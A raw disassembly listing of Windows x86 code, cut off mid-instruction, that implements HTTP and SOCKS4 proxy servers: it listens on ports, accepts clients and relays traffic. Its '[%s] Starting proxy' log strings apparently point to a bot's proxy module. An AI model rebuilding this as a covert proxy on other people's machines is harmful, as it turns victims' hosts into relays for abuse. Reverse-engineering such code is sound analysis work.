sub_401226 lea ecx, [esp+0BCh+var_4] mov [esp+0BCh+arg_53E0], esi call sub_4014B0 or esi, 0FFFFFFFFh loc_429280: ; CODE XREF: sub_4282C0+EBj mov al, [esp+0BCh+var_AA] test al, al jz loc_4282F8 loc_42928C: ; CODE XREF: sub_4282C0+1074j ; sub_4282C0+11CDj mov al, [ebp+0BAh] test al, al jz short loc_4292A9 mov eax, [ebp+0BBh] push eax nop call near ptr 71AB9639h mov [ebp+0BBh], esi loc_4292A9: ; CODE XREF: sub_4282C0+FD4j mov al, [esp+11h] test al, al jz short loc_4292C4 mov ecx, [ebp+0BFh] push ecx nop call near ptr 71AB9639h mov [ebp+0BFh], esi loc_4292C4: ; CODE XREF: sub_4282C0+FEFj ; sub_4282C0+1255j mov ecx, [esp+0C4h+arg_53D0] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 5494h retn ; --------------------------------------------------------------------------- loc_4292DD: ; CODE XREF: sub_4282C0+40Aj lea ecx, [esp+1Ch+arg_40] mov byte ptr [esp+1Ch+arg_5480], 0Ch call sub_401226 loc_4292EE: ; CODE XREF: sub_4282C0+3D7j lea ecx, [esp+1Ch+arg_28] mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 loc_4292FF: ; CODE XREF: sub_4282C0+191j ; sub_4282C0+1AAj ... lea ecx, [esp+1Ch+arg_10] mov byte ptr [esp+1Ch+arg_5480], 1 call sub_401226 loc_429310: ; CODE XREF: sub_4282C0+85j lea ecx, [esp+1Ch+var_8] mov byte ptr [esp+1Ch+arg_5480], 0 call sub_401226 lea ecx, [esp+1Ch+arg_98] mov [esp+1Ch+arg_5480], esi call sub_4014B0 jmp loc_42928C ; --------------------------------------------------------------------------- loc_429339: ; CODE XREF: sub_4282C0+503j mov eax, [ebp+0BBh] push eax nop call near ptr 71AB9639h jmp loc_4294AA ; --------------------------------------------------------------------------- loc_42934B: ; CODE XREF: sub_4282C0+644j lea ecx, [esp+2Ch+arg_9D] call sub_4017E4 push eax lea ecx, [esp+30h+var_18] push offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"... push ecx call sub_40102D add esp, 0Ch lea ecx, [esp+2Ch+var_18] push 0 call sub_4013D9 push eax lea ecx, [esp+34h+var_18] call sub_4017E4 mov edx, [ebp+0BBh] push eax push edx nop call near ptr 71AB428Ah mov eax, [ebp+0BBh] mov esi, dword_50FC88 push eax call esi mov ecx, [ebp+0BFh] push ecx jmp loc_4294A8 ; --------------------------------------------------------------------------- loc_4293A8: ; CODE XREF: sub_4282C0+660j mov edx, [esp+38h+arg_D0] lea ecx, [esp+38h+arg_91] push edx call sub_4017E4 push eax lea eax, [esp+40h+var_24] push offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"... push eax call sub_40102D add esp, 10h lea ecx, [esp+38h+var_24] push 0 call sub_4013D9 push eax lea ecx, [esp+40h+var_24] call sub_4017E4 mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah loc_4293F2: ; CODE XREF: sub_4282C0+711j ; sub_4282C0+719j mov edx, [ebp+0BBh] mov esi, dword_50FC88 push edx call esi mov eax, [ebp+0BFh] push eax jmp loc_4294A8 ; --------------------------------------------------------------------------- loc_42940D: ; CODE XREF: sub_4282C0+5EEj mov ecx, [ebp+0BBh] push ecx nop call near ptr 71AB9639h jmp loc_4294AA ; --------------------------------------------------------------------------- loc_42941F: ; CODE XREF: sub_4282C0+73Fj lea ecx, [esp+48h+arg_3C] mov byte ptr [esp+48h+arg_5454], 0Dh call sub_401226 lea ecx, [esp+48h+arg_14] mov byte ptr [esp+48h+arg_5454], 0Ch call sub_401226 lea ecx, [esp+48h] mov byte ptr [esp+48h+arg_5454], 2 call sub_401226 lea ecx, [esp+48h+var_18] mov byte ptr [esp+48h+arg_5454], 1 call sub_401226 lea ecx, [esp+48h+var_34] mov byte ptr [esp+48h+arg_5454], 0 call sub_401226 lea ecx, [esp+48h+arg_6C] mov [esp+48h+arg_5454], ebx call sub_4014B0 or esi, 0FFFFFFFFh jmp loc_42928C ; --------------------------------------------------------------------------- loc_429492: ; CODE XREF: sub_4282C0+D45j ; sub_4282C0+D4Dj mov ecx, [ebp+0BBh] mov esi, dword_50FC88 push ecx call esi mov edx, [ebp+0BFh] push edx loc_4294A8: ; CODE XREF: sub_4282C0+10E3j ; sub_4282C0+1148j call esi loc_4294AA: ; CODE XREF: sub_4282C0+1086j ; sub_4282C0+115Aj lea ecx, [esp+50h+arg_34] mov byte ptr [esp+50h+arg_544C], 0Dh call sub_401226 lea ecx, [esp+50h+arg_C] mov byte ptr [esp+50h+arg_544C], 0Ch call sub_401226 lea ecx, [esp+50h+var_8] mov byte ptr [esp+50h+arg_544C], 2 call sub_401226 lea ecx, [esp+50h+var_20] mov byte ptr [esp+50h+arg_544C], 1 call sub_401226 lea ecx, [esp+50h+var_3C] mov byte ptr [esp+50h+arg_544C], 0 call sub_401226 lea ecx, [esp+50h+arg_64] mov [esp+50h+arg_544C], ebx call sub_4014B0 jmp loc_4292C4 sub_4282C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 4A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4299C0 proc near ; CODE XREF: sub_4018DEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4299C0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset aHttp_0 ; "HTTP" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E15C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4299C0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_429A30: ; CODE XREF: ___:loc_40112Cj ; ___:0040128Fj push esi mov esi, ecx call sub_402108 test byte ptr [esp+8], 1 jz short loc_429A48 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_429A48: ; CODE XREF: ___:00429A3Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429A60 proc near ; CODE XREF: sub_402108j push esi mov esi, ecx mov eax, [esi+9Eh] mov dword ptr [esi], offset off_43E15C cmp eax, 0FFFFFFFFh jz short loc_429A7B push eax nop call near ptr 71AB9639h loc_429A7B: ; CODE XREF: sub_429A60+12j mov ecx, esi call sub_40179E pop esi retn sub_429A60 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429AA0 proc near ; CODE XREF: sub_4010E1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429AA0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push edi mov edi, ecx mov dword ptr [edi+9Eh], 0FFFFFFFFh loc_429AC3: ; CODE XREF: sub_429AA0+48j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_429AEA mov ecx, [edi+3Bh] push ecx call sub_40197E add esp, 4 cmp eax, 0FFFFFFFFh mov [edi+9Eh], eax jz short loc_429AC3 loc_429AEA: ; CODE XREF: sub_429AA0+31j mov edx, [edi+99h] mov al, [edx+11Ch] test al, al jz loc_429BBC push ebp push esi loc_429B00: ; CODE XREF: sub_429AA0+114j mov eax, [edi+9Eh] push eax call sub_4012DF mov ebp, eax add esp, 4 cmp ebp, 0FFFFFFFFh jz loc_429B9B test ebp, ebp jz short loc_429B9B push 0C3h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+1Ch+var_10], eax test eax, eax mov [esp+1Ch+var_4], 0 jz short loc_429B46 mov ecx, eax call sub_401884 mov esi, eax jmp short loc_429B48 ; --------------------------------------------------------------------------- loc_429B46: ; CODE XREF: sub_429AA0+99j xor esi, esi loc_429B48: ; CODE XREF: sub_429AA0+A4j mov ecx, [edi+99h] mov [esi+9Dh], edi mov [esi+99h], ecx mov edx, [edi+3Bh] lea eax, [edi+26h] lea ecx, [esi+26h] push eax mov [esp+20h+var_4], 0FFFFFFFFh mov [esi+3Bh], edx mov [esi+0BBh], ebp call sub_401FBE mov cl, [edi+97h] mov [esi+97h], cl mov dl, [edi+98h] mov ecx, esi mov [esi+98h], dl call sub_4013D4 jmp short loc_429BA6 ; --------------------------------------------------------------------------- loc_429B9B: ; CODE XREF: sub_429AA0+74j ; sub_429AA0+7Cj push 0FAh nop call near ptr 2830000h loc_429BA6: ; CODE XREF: sub_429AA0+F9j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jnz loc_429B00 pop esi pop ebp loc_429BBC: ; CODE XREF: sub_429AA0+58j mov edi, [edi+9Eh] cmp edi, 0FFFFFFFFh jz short loc_429BCE push edi call near ptr 71AB9639h nop loc_429BCE: ; CODE XREF: sub_429AA0+125j mov ecx, [esp+14h+var_C] pop edi mov large fs:0, ecx add esp, 10h retn sub_429AA0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429C30 proc near ; CODE XREF: sub_40137Aj push ebx push esi mov esi, ecx push edi mov al, [esi+9Dh] lea edi, [esi+11h] test al, al mov eax, [esi+3Bh] lea ebx, [esi+26h] push eax mov ecx, edi jz short loc_429C58 call sub_4017E4 push eax push offset aSStartingProxy ; "[%s] Starting proxy on %d with SSL." jmp short loc_429C63 ; --------------------------------------------------------------------------- loc_429C58: ; CODE XREF: sub_429C30+19j call sub_4017E4 push eax push offset aSStartingPro_0 ; "[%s] Starting proxy on port %d." loc_429C63: ; CODE XREF: sub_429C30+26j mov ecx, ebx call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 1Ch mov ecx, esi call sub_4010E1 mov eax, [esi+3Bh] mov ecx, edi push eax call sub_4017E4 push eax push offset aSUnloadedProxy ; "[%s] Unloaded proxy on port %d." mov ecx, ebx call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 1Ch pop edi pop esi pop ebx retn sub_429C30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429D00 proc near ; CODE XREF: sub_40211Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429D00 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset aSocks4 ; "Socks4" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E16C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_429D00 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_429D70: ; CODE XREF: ___:00401870j ; ___:loc_401B04j push esi mov esi, ecx call sub_401F87 test byte ptr [esp+8], 1 jz short loc_429D88 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_429D88: ; CODE XREF: ___:00429D7Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_429DA0 proc near ; CODE XREF: sub_401F87j jmp sub_40179E sub_429DA0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429DC0 proc near ; CODE XREF: sub_4010AFj var_81D = byte ptr -81Dh var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = byte ptr -808h var_807 = byte ptr -807h var_806 = word ptr -806h var_804 = dword ptr -804h var_800 = byte ptr -800h var_400 = byte ptr -400h sub esp, 820h lea eax, [esp+820h+var_81D] push ebx push ebp push esi mov esi, dword_50FC90 mov ebp, ecx push edi push 0 push 1 mov ecx, [ebp+0A1h] push eax push ecx call esi cmp eax, 1 jge short loc_429E01 mov edx, [ebp+0A1h] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_429E01: ; CODE XREF: sub_429DC0+27j cmp [esp+830h+var_81D], 4 jnz loc_429FEC mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_807] push 406h push eax push ecx call esi cmp eax, 1 jge short loc_429E3E mov edx, [ebp+0A1h] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_429E3E: ; CODE XREF: sub_429DC0+64j cmp [esp+830h+var_807], 1 jnz loc_429FEC mov cx, [esp+830h+var_806] mov edx, [esp+830h+var_804] xor eax, eax push 6 mov [esp+834h+var_818], eax push 1 mov [esp+838h+var_814], eax push 2 mov [esp+83Ch+var_810], eax mov word ptr [esp+83Ch+var_818], 2 mov [esp+83Ch+var_80C], eax mov word ptr [esp+83Ch+var_818+2], cx mov [esp+83Ch+var_814], edx call near ptr 71AB3B91h nop mov ebx, eax lea eax, [esp+830h+var_818] push 10h push eax push ebx nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh mov [esp+830h+var_808], 0 jnz short loc_429ED9 mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Bh push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx nop call near ptr 71AB428Ah mov eax, [ebp+0A1h] push eax call near ptr 71AB9639h nop pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_429ED9: ; CODE XREF: sub_429DC0+D8j mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Ah push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx call near ptr 71AB428Ah nop mov ecx, [ebp+0A1h] mov esi, dword_50FC50 lea eax, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push eax push 8004667Eh push ecx call esi lea edx, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push edx push 8004667Eh push ebx call esi loc_429F36: ; CODE XREF: sub_429DC0+1AFj ; sub_429DC0+1FEj ... mov edi, dword_50FC90 push 0 lea eax, [esp+834h+var_400] push 400h push eax push ebx call edi mov esi, eax test esi, esi jz loc_429FDA jge short loc_429F71 nop call near ptr 71AB94DCh cmp eax, 2733h jz short loc_429F71 push 0Ah call near ptr 2830000h nop jmp short loc_429F36 ; --------------------------------------------------------------------------- loc_429F71: ; CODE XREF: sub_429DC0+198j ; sub_429DC0+1A5j mov edx, [ebp+0A1h] push 0 lea ecx, [esp+834h+var_400] push esi push ecx push edx nop call near ptr 71AB428Ah mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_400] push 400h push eax push ecx call edi mov esi, eax test esi, esi jz short loc_429FDA jge short loc_429FC3 call near ptr 71AB94DCh nop cmp eax, 2733h jz short loc_429FC3 push 0Ah nop call near ptr 2830000h jmp loc_429F36 ; --------------------------------------------------------------------------- loc_429FC3: ; CODE XREF: sub_429DC0+1E7j ; sub_429DC0+1F4j push 0 lea edx, [esp+834h+var_400] push esi push edx push ebx nop call near ptr 71AB428Ah jmp loc_429F36 ; --------------------------------------------------------------------------- loc_429FDA: ; CODE XREF: sub_429DC0+192j ; sub_429DC0+1E5j mov eax, [ebp+0A1h] mov esi, dword_50FC88 push eax call esi push ebx call esi loc_429FEC: ; CODE XREF: sub_429DC0+46j ; sub_429DC0+83j pop edi pop esi pop ebp pop ebx add esp, 820h retn sub_429DC0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A090 proc near ; CODE XREF: sub_40216Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42A090 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset aSocks4 ; "Socks4" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E17C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42A090 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A100 proc near ; CODE XREF: ___:00401032j sub_4017A8j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401C3A test [esp+4+arg_0], 1 jz short loc_42A118 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_42A118: ; CODE XREF: sub_42A100+Dj mov eax, esi pop esi retn 4 sub_42A100 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42A130 proc near ; CODE XREF: sub_401C3Aj jmp sub_40179E sub_42A130 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A150 proc near ; CODE XREF: sub_40188Ej var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_42A150 push eax mov large fs:0, esp sub esp, 28h push ebx push esi mov esi, ecx mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax lea ebx, [esi+26h] call sub_4017E4 push eax push offset aSStartingSocks ; "[%s] Starting Socks4 Proxy on port %d." mov ecx, ebx call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 1Ch push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_42A359 mov cx, [esi+3Bh] xor eax, eax mov [esp+3Ch+var_2C], eax push ecx mov [esp+40h+var_28], eax mov word ptr [esp+40h+var_2C], 2 mov [esp+40h+var_24], eax mov [esp+40h+var_20], eax nop call near ptr 71AB2B66h mov word ptr [esp+3Ch+var_2C+2], ax mov eax, [esi+9Dh] lea edx, [esp+3Ch+var_2C] push 10h push edx push eax mov [esp+48h+var_34], 10h call near ptr 71AB3E00h nop test eax, eax jz short loc_42A226 mov ecx, [esi+9Dh] push ecx call near ptr 71AB9639h nop pop esi pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_42A226: ; CODE XREF: sub_42A150+B6j mov edx, [esi+99h] push ebp push edi mov al, [edx+11Ch] test al, al jz loc_42A310 loc_42A23C: ; CODE XREF: sub_42A150+1BAj mov eax, [esi+9Dh] push 0Ah push eax nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_42A260 push 0FAh nop call near ptr 2830000h jmp loc_42A2FC ; --------------------------------------------------------------------------- loc_42A260: ; CODE XREF: sub_42A150+FEj mov eax, [esi+9Dh] lea ecx, [esp+40h+var_30] lea edx, [esp+40h+var_18] push ecx push edx push eax call near ptr 71AC1028h nop mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_42A310 xor edi, edi cmp ebp, edi jz loc_42A310 push 0A5h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+44h+var_30], eax cmp eax, edi mov [esp+44h+var_4], edi jz short loc_42A2AE mov ecx, eax call sub_40211C mov edi, eax loc_42A2AE: ; CODE XREF: sub_42A150+153j mov ecx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], ecx mov edx, [esi+3Bh] push ebx lea ecx, [edi+26h] mov [esp+48h+var_4], 0FFFFFFFFh mov [edi+3Bh], edx mov [edi+0A1h], ebp call sub_401FBE mov al, [esi+97h] mov [edi+97h], al mov cl, [esi+98h] mov [edi+98h], cl mov ecx, edi call sub_4013D4 loc_42A2FC: ; CODE XREF: sub_42A150+10Bj mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_42A23C loc_42A310: ; CODE XREF: sub_42A150+E6j ; sub_42A150+12Cj ... mov eax, [esi+9Dh] pop edi cmp eax, 0FFFFFFFFh pop ebp jz short loc_42A324 push eax call near ptr 71AB9639h nop loc_42A324: ; CODE XREF: sub_42A150+1CBj mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax call sub_4017E4 push eax push offset aSUnloadedPro_0 ; "[%s] Unloaded proxy on %d." mov ecx, ebx call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 1Ch loc_42A359: ; CODE XREF: sub_42A150+69j mov ecx, [esp+3Ch+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 34h retn sub_42A150 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A400 proc near ; CODE XREF: sub_40174Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax nop call near ptr 71AB4FD4h test eax, eax jz short loc_42A421 mov ecx, [eax+0Ch] mov edx, [ecx] mov ecx, [esp+arg_4] mov eax, [edx] mov [ecx], eax mov al, 1 retn 8 ; --------------------------------------------------------------------------- loc_42A421: ; CODE XREF: sub_42A400+Dj xor al, al retn 8 sub_42A400 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A440 proc near ; CODE XREF: sub_4020C2j var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_400 = byte ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 50Ch push ebx mov ebx, [esp+510h+arg_4] push ebp push esi push edi mov [esp+51Ch+var_50C], 0 mov [esp+51Ch+var_508], 0 loc_42A461: ; CODE XREF: sub_42A440+12Cj mov ebp, [esp+51Ch+arg_0] mov [esp+51Ch+var_504], 1 mov [esp+51Ch+var_500], ebp xor eax, eax lea ecx, [esp+51Ch+var_500] loc_42A47A: ; CODE XREF: sub_42A440+45j cmp [ecx], ebx jz short loc_42A487 inc eax add ecx, 4 cmp eax, 1 jb short loc_42A47A loc_42A487: ; CODE XREF: sub_42A440+3Cj cmp eax, 1 jnz short loc_42A498 mov [esp+51Ch+var_4FC], ebx mov [esp+51Ch+var_504], 2 loc_42A498: ; CODE XREF: sub_42A440+4Aj lea eax, [esp+51Ch+var_50C] lea ecx, [esp+51Ch+var_504] push eax push 0 push 0 push ecx push 2 call near ptr 71AB2DC0h nop test eax, eax jbe short loc_42A523 cmp eax, 0FFFFFFFFh jz short loc_42A523 lea edx, [esp+51Ch+var_504] push edx push ebp call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jz short loc_42A4CC mov eax, ebp mov ebp, ebx jmp short loc_42A4CE ; --------------------------------------------------------------------------- loc_42A4CC: ; CODE XREF: sub_42A440+84j mov eax, ebx loc_42A4CE: ; CODE XREF: sub_42A440+8Aj push 0 lea ecx, [esp+520h+var_400] push 3FFh push ecx push eax nop call near ptr 71AB615Ah mov edi, eax xor esi, esi cmp edi, 0FFFFFFFFh mov [esp+edi+51Ch+var_400], 0 jz short loc_42A572 test edi, edi jz short loc_42A572 jbe short loc_42A51C loc_42A4FB: ; CODE XREF: sub_42A440+DAj mov edx, edi push 0 sub edx, esi lea eax, [esp+esi+520h+var_400] push edx push eax push ebp nop call near ptr 71AB428Ah cmp eax, 0FFFFFFFFh jz short loc_42A572 add esi, eax cmp esi, edi jb short loc_42A4FB loc_42A51C: ; CODE XREF: sub_42A440+B9j mov ebp, [esp+51Ch+arg_0] loc_42A523: ; CODE XREF: sub_42A440+70j ; sub_42A440+75j mov [esp+51Ch+var_500], ebp mov [esp+51Ch+var_504], 1 xor eax, eax lea ecx, [esp+51Ch+var_500] loc_42A535: ; CODE XREF: sub_42A440+100j cmp [ecx], ebx jz short loc_42A542 inc eax add ecx, 4 cmp eax, 1 jb short loc_42A535 loc_42A542: ; CODE XREF: sub_42A440+F7j cmp eax, 1 jnz short loc_42A554 mov [esp+eax*4+51Ch+var_500], ebx mov eax, [esp+51Ch+var_504] inc eax mov [esp+51Ch+var_504], eax loc_42A554: ; CODE XREF: sub_42A440+105j lea ecx, [esp+51Ch+var_50C] lea edx, [esp+51Ch+var_504] push ecx push edx push 0 push 0 push 2 nop call near ptr 71AB2DC0h test eax, eax jle loc_42A461 loc_42A572: ; CODE XREF: sub_42A440+B3j ; sub_42A440+B7j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 50Ch retn 8 sub_42A440 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A5F0 proc near ; CODE XREF: sub_401C1Cj var_51C = word ptr -51Ch var_51A = word ptr -51Ah var_518 = dword ptr -518h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_400 = dword ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 51Ch push ebx push ebp mov ebp, [esp+524h+arg_4] push esi push edi mov edx, ecx movsx eax, byte ptr [ebp+3] dec eax mov [esp+52Ch+var_508], 0 mov [esp+52Ch+var_50C], 7 mov [esp+52Ch+var_51C], 2 jz short loc_42A68F dec eax jz short loc_42A63A dec eax jnz loc_42A782 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_42A63A: ; CODE XREF: sub_42A5F0+32j movsx eax, byte ptr [ebp+4] mov ecx, eax lea esi, [ebp+5] mov ebx, ecx lea edi, [esp+52Ch+var_400] shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov byte ptr [esp+eax+52Ch+var_400], 0 lea eax, [esp+52Ch+var_518] lea ecx, [esp+52Ch+var_400] push eax push ecx mov ecx, edx call sub_40174E test al, al jz loc_42A782 movsx esi, byte ptr [ebp+4] mov dx, [esi+ebp+5] add esi, 7 mov [esp+52Ch+var_51A], dx jmp short loc_42A6AB ; --------------------------------------------------------------------------- loc_42A68F: ; CODE XREF: sub_42A5F0+2Fj mov eax, [ebp+4] mov esi, 0Ah mov [esp+52Ch+var_400], eax mov [esp+52Ch+var_518], eax mov ax, [ebp+8] mov [esp+52Ch+var_51A], ax loc_42A6AB: ; CODE XREF: sub_42A5F0+9Dj mov ebx, dword_50FC30 push 11h push 2 push 2 call ebx push 11h push 2 push 2 mov edi, eax call ebx cmp edi, 0FFFFFFFFh jz loc_42A782 cmp eax, 0FFFFFFFFh jnz loc_42A782 mov edx, [esp+52Ch+arg_8] lea ecx, [esp+52Ch+var_51C] push 10h push ecx sub edx, esi push 0 add esi, ebp mov ebp, dword_50FC5C push edx push esi push edi call ebp mov ebx, [esp+52Ch+arg_0] push 10h push ebx push edi nop call near ptr 71AB3E00h test eax, eax jnz short loc_42A782 loc_42A709: ; CODE XREF: sub_42A5F0+174j lea eax, [esp+52Ch+var_50C] lea ecx, [esp+52Ch+var_504] push eax push 0 push 0 push ecx push 1 mov [esp+540h+var_500], 0FFFFFFFFh mov [esp+540h+var_504], 1 nop call near ptr 71AB2DC0h push 0 push 0 push 0 lea edx, [esp+538h+var_400] push 3FFh push edx push edi nop call near ptr 71AB2D0Fh push 10h mov esi, eax push ebx push 0 lea eax, [esp+538h+var_400] push esi push eax push 0FFFFFFFFh call ebp test esi, esi jbe short loc_42A766 cmp esi, 0FFFFFFFFh jnz short loc_42A709 loc_42A766: ; CODE XREF: sub_42A5F0+16Fj mov esi, dword_50FC88 push edi call esi push 0FFFFFFFFh call esi pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_42A782: ; CODE XREF: sub_42A5F0+35j ; sub_42A5F0+86j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 51Ch retn 0Ch sub_42A5F0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A810 proc near ; CODE XREF: sub_42B2D0:loc_4013A2j var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = byte ptr -81Ch var_81A = word ptr -81Ah var_818 = dword ptr -818h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_708 = byte ptr -708h var_707 = byte ptr -707h var_705 = dword ptr -705h var_604 = word ptr -604h var_600 = dword ptr -600h var_5F0 = byte ptr -5F0h var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 4 sub esp, 82Ch push ebx push ebp push esi mov esi, [esp+838h+arg_0] cmp esi, 0FFFFFFFFh push edi mov ebp, ecx mov [esp+83Ch+var_828], 0 mov [esp+83Ch+var_82C], 0Bh mov [esp+83Ch+var_808], esi mov [esp+83Ch+var_80C], 1 jz loc_42AACA mov eax, [ebp-8] mov ecx, [eax+4] mov ax, [ecx+ebp-2] cmp 